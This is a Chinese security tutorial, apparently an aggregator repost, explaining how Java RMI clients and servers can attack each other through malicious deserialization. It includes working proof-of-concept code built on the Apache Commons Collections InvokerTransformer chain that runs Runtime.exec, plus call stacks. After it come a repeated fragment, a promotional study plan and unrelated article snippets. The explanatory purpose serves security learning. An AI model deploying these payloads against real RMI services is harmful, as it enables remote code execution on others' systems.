当前位置: 首页 > news >正文

RMI攻击中的ServerClient相互攻击反制

前言

前文中,我们分析了攻击Registry的两种方式,这里我们接着前面的内容,分析Server和Client的相互攻击方式。

Attacked

Server Attacked By Client

首先我们搭建个示例,这里直接注册端和服务端放置在一起。

package pers.rmi;import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class RemoteServer {public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException {LocateRegistry.createRegistry(1099);//将需要调用的类进行绑定//创建远程类RemoteObject remoteObject = new RemoteObject();//获取注册中心Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);//绑定类registry.bind("test", remoteObject);}
}

来看看RemoteObject类。

package pers.rmi;import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;//远程可以调用的类,需要继承UnicastRemoteObject类和实现RemoteInterface接口//也可以指定需要远程调用的类,可以使用UnicastRemoteObject类中的静态方法exportObject指定调用类
public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {protected RemoteObject() throws RemoteException {super();}@Overridepublic String CaseBegin() {return "Hello world!";}@Overridepublic String CaseBegin(Object demo) {return demo.getClass().getName();}@Overridepublic String CaseOver() {return "Good bye!";}
}

还有一个RemoteInterface接口的定义, 需要扩展Remote接口。

package pers.rmi;import java.rmi.Remote;
import java.rmi.RemoteException;//定义一个能够远程调用的接口,并且需要扩展Remote接口
public interface RemoteInterface extends Remote {public String CaseBegin() throws RemoteException;public String CaseBegin(Object demo) throws RemoteException;public String CaseOver() throws RemoteException;
}

之后我们在客户端获取远程对象时。

// 获取远程对象实例
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
RemoteInterface stub = (RemoteInterface) registry.lookup("test");
System.out.println(stub.CaseBegin(o));

我们通过调试,可以知道,我们获取的远程对象stub是一个代理对象。

image-20221011100317924.png

在调用这个远程对象的方法的时候,将会通过RemoteObjectInvocationHandler#invoke方法进行调用。

image-20221011101005800.png

将会继续调用invokeRemoteMethod方法进行触发。

image-20221011101406468.png

这里的proxy对象是一个Remote实例,因为前面以后提到了在RemoteInterface接口中扩展了Remote接口

所以这里调用ref.invoke方法,此时的refUnicastRef对象,跟进。

image-20221011101709182.png

首先这里建立了一个连接。

image-20221011102708395.png

之后通过ref的ID获取对应的远程方法调用,在这里传输数据主要是通过序列化和反序列化的方式进行传输,获取远程方法调用流的输出流对象,在后面通过调用marshalValue方法进行数据的传输。

image-20221011103100651.png

根据不同的类型,进行不同的序列化方法的调用,这里的var1就是最开始在调用远程方法的时候传入的对象,如果,那里我们传入的是一个恶意的对象,这里将会将其进行序列化传输给服务端。

image-20221011104030913.png

之后就是对获取的服务端发送过来的数据进行反序列化获取,当然我们这里的重点不是这里,之后会提到的,我们这个攻击方式是在向服务端发送序列化数据的时候,服务端的反序列化处理。

image-20221011105545025.png

首先来到的是服务端的UnicastServerRef#dispatch方法,首先获取了输入流,之后调用readLong方法获取对应的方法hash值,也就是前面提到的invokeRemoteMethod调用过程中,计算的Method
Hash值进行匹配。

image-20221011105958321.png

之后再后面进行反序列化解析。

image-20221011110125339.png

image-20221011110402755.png

将会在这里进行反序列化的调用。

POC

package pers.rmi;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.*;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;public class RMIClientAttackDemo1 {public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, AlreadyBoundException, NoSuchFieldException {//仿照ysoserial中的写法,防止在本地调试的时候触发命令Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(faketransformers);Map innerMap = new HashMap();Map outMap = LazyMap.decorate(innerMap, transformerChain);//实例化TiedMapEntry tme = new TiedMapEntry(outMap, "key");Map expMap = new HashMap();//将其作为key键传入expMap.put(tme, "value");//removeoutMap.remove("key");//传入利用链Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);Object o = (Object) expMap;// 获取远程对象实例Registry registry = LocateRegistry.getRegistry("localhost", 1099);RemoteInterface stub = (RemoteInterface) registry.lookup("test");System.out.println(stub.CaseBegin(o));}
}

贴个调用栈。

exec:-1, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:-1, HashMap (java.util)
readObject:-1, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
invokeReadObject:-1, ObjectStreamClass (java.io)
readSerialData:-1, ObjectInputStream (java.io)
readOrdinaryObject:-1, ObjectInputStream (java.io)
readObject0:-1, ObjectInputStream (java.io)
readObject:-1, ObjectInputStream (java.io)
unmarshalValue:-1, UnicastRef (sun.rmi.server)
dispatch:-1, UnicastServerRef (sun.rmi.server)
run:-1, Transport$1 (sun.rmi.transport)
run:-1, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:-1, Transport (sun.rmi.transport)
handleMessages:-1, TCPTransport (sun.rmi.transport.tcp)
run0:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1773645219 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:-1, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:-1, ThreadPoolExecutor (java.util.concurrent)
run:-1, ThreadPoolExecutor$Worker (java.util.concurrent)
run:-1, Thread (java.lang)

Client Attacked By Server

如果你跟进了前面一种攻击方法的利用细节,你会知道主要是通过Client发送序列化数据在客户端进行反序列化,如果仔细阅读了的话在前面也有铺垫。

UnicastServerRef#dispatch方法中在接收客户端的远程调用请求的时候。

image-20221011114526860.png

在对客户端传入的参数进行反序列化获取之后,在后面将会将其带入var8.invoke方法的调用(这里的var8是客户端调用的远程方法),这里将会对返回的结果赋值给var41变量。

image-20221011114957832.png

在得到方法调用的结果之后,将会通过调用marshalValue方法进行序列化传送给客户端,同样的,在客户端中将会反序列化他,跟进客户端的处理UnicastRef#invoke方法。

image-20221011115245327.png

通过调用unmarshalValue方法进行反序列化,所以我们可以按照这种思路构造POC。

我们同样使用上面提到的RemoteInterface接口RemoteObject类的代码

只是添加一个CABS方法。

@Override
public Object CABS() {//仿照ysoserial中的写法,防止在本地调试的时候触发命令Transformer[] faketransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Class[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(faketransformers);Map innerMap = new HashMap();Map outMap = LazyMap.decorate(innerMap, transformerChain);//实例化TiedMapEntry tme = new TiedMapEntry(outMap, "key");Map expMap = new HashMap();//将其作为key键传入expMap.put(tme, "value");//removeoutMap.remove("key");try {//传入利用链Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);} catch (Exception e) {e.printStackTrace();}Object o = (Object) expMap;return o;
}

构建一个和上面一样的服务端。

之后再客户端连接的时候请求CABS方法。

package pers.rmi;import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;public class RMIClient {public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {RemoteInterface remoteInterface = (RemoteInterface) Naming.lookup("rmi://127.0.0.1:1099/test");
//        String s = remoteInterface.CaseBegin();Object s = remoteInterface.CABS();System.out.println(s);}
}

给个调用栈。

exec:-1, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:-1, HashMap (java.util)
readObject:-1, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:-1, DelegatingMethodAccessorImpl (sun.reflect)
invoke:-1, Method (java.lang.reflect)
invokeReadObject:-1, ObjectStreamClass (java.io)
readSerialData:-1, ObjectInputStream (java.io)
readOrdinaryObject:-1, ObjectInputStream (java.io)
readObject0:-1, ObjectInputStream (java.io)
readObject:-1, ObjectInputStream (java.io)
unmarshalValue:-1, UnicastRef (sun.rmi.server)
invoke:-1, UnicastRef (sun.rmi.server)
invokeRemoteMethod:-1, RemoteObjectInvocationHandler (java.rmi.server)
invoke:-1, RemoteObjectInvocationHandler (java.rmi.server)
CABS:-1, $Proxy0 (com.sun.proxy)
main:12, RMIClient (pers.rmi)

总结

这里分别分析了从客户端攻击服务端和服务端攻击客户端的攻击方式,两端之间的相互攻击,变相就是一个相互反制的利用。

Ref

https://www.anquanke.com/post/id/257452

-1, UnicastRef (sun.rmi.server)
invokeRemoteMethod:-1, RemoteObjectInvocationHandler (java.rmi.server)
invoke:-1, RemoteObjectInvocationHandler (java.rmi.server)
CABS:-1, $Proxy0 (com.sun.proxy)
main:12, RMIClient (pers.rmi)

总结

这里分别分析了从客户端攻击服务端和服务端攻击客户端的攻击方式,两端之间的相互攻击,变相就是一个相互反制的利用。

Ref

https://www.anquanke.com/post/id/257452

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

相关文章:

RMI攻击中的ServerClient相互攻击反制

前言 前文中,我们分析了攻击Registry的两种方式,这里我们接着前面的内容,分析Server和Client的相互攻击方式。 Attacked Server Attacked By Client 首先我们搭建个示例,这里直接注册端和服务端放置在一起。 package pers.rm…...

值类型和引用类型

一、值类型和引用类型示例: 值类型:基本数据类型系列,如:int,float,bool,string,数组和结构体等。 引用类型:如:指针,slice切片,map&a…...

后端开发必懂nginx面试40问

什么是Nginx? Nginx是一个 轻量级/高性能的反向代理Web服务器,用于 HTTP、HTTPS、SMTP、POP3 和 IMAP 协议。他实现非常高效的反向代理、负载平衡,他可以处理2-3万并发连接数,官方监测能支持5万并发,现在中国使用ngin…...

Redis为什么这么快?

1.基于内存存储实现 在MySQL数据库中,所有的读写操作都要通过IO的方式从硬盘中获取。在Redis中,所有的操作都是基于内存实现的,从而减少IO操作提高数据库性能。 2.高效的数据结构 SAS简单动态字符串 字符串长度:SAS查询的时间复杂度O(1),c语言中时间复杂度O(n)空间分配来…...

几种实现主题切换的方式

几种实现主题切换的方式 1. 利用 prefers-color-scheme 特性 prefers-color-scheme是CSS 媒体特性【media】用于检测用户是否有将操作系统的主题色设置为亮色【light】或者暗色【dark】。 当前prefers-color-scheme新特性支持各大主流电脑(window和IOS系统&#…...

Jenkins使用(代码拉取->编译构建->部署上线)

Jenkins简介 Jenkins是一个开源项目,提供了一种易于使用的持续集成系统,使开发者从繁杂的集成中解脱出来,专注于更重要的业务逻辑实现上。同时Jenkins能实时监控集成中存在的错误,提供详细的日志文件和提醒功能,还能用…...

IEEE期刊论文投稿前期准备

目录 1、简介 2、资料准备 TPAMI 投稿须知 Letex模板资料下载 下载参考文献Bib文件...

[AAAI 2022] TransFG: A Transformer Architecture for Fine-grained Recognition

Contents TransFG ArchitectureExperimentsReferencesTransFG Architecture Overlapping patch split:ViT 是把图片分成一系列不重叠的 patches,作者认为这可能会破坏 discriminative regions. 为了解决上述问题,作者提出使用 Overlapping patch split,划分的 patch 数 N …...

机器学习之决策树原理详解、公式推导(手推)、面试问题、简单实例(python实现,sklearn调包)

目录1. 决策树原理1.1. 特性1.2. 思路1.3. 概念决策树概念信息论2. 公式推导2.1. 构造决策树2.1.1. ID3理论示例缺点2.1.2. C4.5理论示例缺点2.1.3. CART示例对比分析2.2. 剪枝3. 实例3.1. 数据集3.2. ID33.3. C4.53.4. CART3.5. sklearn实现4. 几个注意点(面试问题)5. 运行&am…...

一文搞懂CAS实现原理——怀玉

点个关注,必回关 文章目录CAS原理剖析1、参数解密CAS底层指令CAS(Compare and swap)是一种用于在多线程环境下实现同步功能的机制CAS原理剖析 CAS 被认为是一种乐观锁,有乐观锁,相对应的是悲观锁。 在上述示例中&…...

typora每次复制文档都要附带图片文件夹?学会配置gitee图床

0. 引言 作为开发人员,我们习惯使用md格式来编写文档,特别是typora编辑器更是日常使用的软件。但作为轻量化的文档编辑器,我们在默认插入图片时,一般typora会将图片保存到本地或者引用一个本地图片的路径 当文档还在我们本地打开…...

Linux--gdb

gdb用于实现在linux下通过gdb进行调试。由于gcc、g生成的文件是release文件,而不是用于调试的debug文件,所以需要使用gcc -g命令,生成debug文件 调试器:核心工作,主要是为了定位问题 所有查看内容的指令,不…...

c++11 标准模板(STL)(std::multimap)(二)

定义于头文件 <map> template< class Key, class T, class Compare std::less<Key>, class Allocator std::allocator<std::pair<const Key, T> > > class multimap;(1)namespace pmr { template <class Key, class T…...

【数据结构】二叉排序树——平衡二叉树的调整

文章目录前置概念一、构造平衡二叉树的基本思想二、一个示例三、平衡二叉树的调整细节&#xff08;1&#xff09;LL型&#xff08;顺时针 &#xff09;举例&#xff08;2&#xff09;RR型&#xff08;逆时针&#xff09;&#xff08;3&#xff09;LR型&#xff08;先逆时针再顺…...

03- pandas 数据库可视化 (数据库)

pandas库的亮点: 一个快速、高效的DataFrame对象&#xff0c;用于数据操作和综合索引&#xff1b;用于在内存数据结构和不同格式之间读写数据的工具&#xff1a;CSV和文本文件、Microsoft Excel、SQL数据库和快速HDF 5格式&#xff1b;智能数据对齐和丢失数据的综合处理&#…...

第三方电容笔怎么样?开学适合买的电容笔

随着科学技术的进步&#xff0c;很多新型的电子产品和数码设备都出现了。比如手机&#xff0c;IPAD&#xff0c;蓝牙耳机&#xff0c;电容笔等等。实际上&#xff0c;如果你想要更好的使用ipad&#xff0c;那么你就需要一支电容笔。比如ipad&#xff0c;我们用ipad来做笔记&…...

Java学习-IO流-字节输出流

Java学习-IO流-IO流的体系和字节输出流基本用法 //IO流 → 字节流 → 字节输入流&#xff1a;InputStream // ↘ ↘ 字节输出流&#xff1a;OutputStream // ↘ 字符流 → 字符输入流&#xff1a;Reader // ↘ 字符输出流&#xff1a;WriterFileInputStream…...

linux性能分析 性能之巅学习笔记和内容摘录

本文只是在阅读《性能之巅》的过程中&#xff0c;对一些觉得有用的地方进行的总结和摘录&#xff0c;并附加一些方便理解的材料&#xff0c;完整内容还请阅读Gregg的大作 概念和方法 性能分析领域一词的全栈代表了整个操作系统的软硬件在内的所有事物 软件生命周期和性能规划…...

机器学习笔记之生成模型综述(三)生成模型的表示、推断、学习任务

机器学习笔记之生成模型综述——表示、推断、学习任务引言生成模型的表示任务从形状的角度观察生成模型的表示任务从概率分布的角度观察生成模型的表示任务生成模型的推断任务生成模型的学习任务引言 上一节介绍了从监督学习、无监督学习任务的角度介绍了经典模型。本节将从表…...

第八章 Flink集成Iceberg的DataStreamAPI、TableSQLAPI详解

1、概述 ​ 目前Flink支持使用DataStream API 和SQL API方式实时读取和写入Iceberg表&#xff0c;建议使用SQL API方式实时读取和写入Iceberg表。 Iceberg支持的Flink版本为1.11.x版本以上&#xff0c;以下为版本匹配关系&#xff1a; Flink版本Iceberg版本备注Flink1.11.XI…...

idea大量爆红问题解决

问题描述 在学习和工作中&#xff0c;idea是程序员不可缺少的一个工具&#xff0c;但是突然在有些时候就会出现大量爆红的问题&#xff0c;发现无法跳转&#xff0c;无论是关机重启或者是替换root都无法解决 就是如上所展示的问题&#xff0c;但是程序依然可以启动。 问题解决…...

云原生核心技术 (7/12): K8s 核心概念白话解读(上):Pod 和 Deployment 究竟是什么?

大家好&#xff0c;欢迎来到《云原生核心技术》系列的第七篇&#xff01; 在上一篇&#xff0c;我们成功地使用 Minikube 或 kind 在自己的电脑上搭建起了一个迷你但功能完备的 Kubernetes 集群。现在&#xff0c;我们就像一个拥有了一块崭新数字土地的农场主&#xff0c;是时…...

从深圳崛起的“机器之眼”:赴港乐动机器人的万亿赛道赶考路

进入2025年以来&#xff0c;尽管围绕人形机器人、具身智能等机器人赛道的质疑声不断&#xff0c;但全球市场热度依然高涨&#xff0c;入局者持续增加。 以国内市场为例&#xff0c;天眼查专业版数据显示&#xff0c;截至5月底&#xff0c;我国现存在业、存续状态的机器人相关企…...

学校招生小程序源码介绍

基于ThinkPHPFastAdminUniApp开发的学校招生小程序源码&#xff0c;专为学校招生场景量身打造&#xff0c;功能实用且操作便捷。 从技术架构来看&#xff0c;ThinkPHP提供稳定可靠的后台服务&#xff0c;FastAdmin加速开发流程&#xff0c;UniApp则保障小程序在多端有良好的兼…...

[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?

论文网址&#xff1a;pdf 英文是纯手打的&#xff01;论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误&#xff0c;若有发现欢迎评论指正&#xff01;文章偏向于笔记&#xff0c;谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...

MVC 数据库

MVC 数据库 引言 在软件开发领域,Model-View-Controller(MVC)是一种流行的软件架构模式,它将应用程序分为三个核心组件:模型(Model)、视图(View)和控制器(Controller)。这种模式有助于提高代码的可维护性和可扩展性。本文将深入探讨MVC架构与数据库之间的关系,以…...

postgresql|数据库|只读用户的创建和删除(备忘)

CREATE USER read_only WITH PASSWORD 密码 -- 连接到xxx数据库 \c xxx -- 授予对xxx数据库的只读权限 GRANT CONNECT ON DATABASE xxx TO read_only; GRANT USAGE ON SCHEMA public TO read_only; GRANT SELECT ON ALL TABLES IN SCHEMA public TO read_only; GRANT EXECUTE O…...

OkHttp 中实现断点续传 demo

在 OkHttp 中实现断点续传主要通过以下步骤完成&#xff0c;核心是利用 HTTP 协议的 Range 请求头指定下载范围&#xff1a; 实现原理 Range 请求头&#xff1a;向服务器请求文件的特定字节范围&#xff08;如 Range: bytes1024-&#xff09; 本地文件记录&#xff1a;保存已…...

Spring Boot+Neo4j知识图谱实战:3步搭建智能关系网络!

一、引言 在数据驱动的背景下&#xff0c;知识图谱凭借其高效的信息组织能力&#xff0c;正逐步成为各行业应用的关键技术。本文聚焦 Spring Boot与Neo4j图数据库的技术结合&#xff0c;探讨知识图谱开发的实现细节&#xff0c;帮助读者掌握该技术栈在实际项目中的落地方法。 …...

管理学院权限管理系统开发总结

文章目录 &#x1f393; 管理学院权限管理系统开发总结 - 现代化Web应用实践之路&#x1f4dd; 项目概述&#x1f3d7;️ 技术架构设计后端技术栈前端技术栈 &#x1f4a1; 核心功能特性1. 用户管理模块2. 权限管理系统3. 统计报表功能4. 用户体验优化 &#x1f5c4;️ 数据库设…...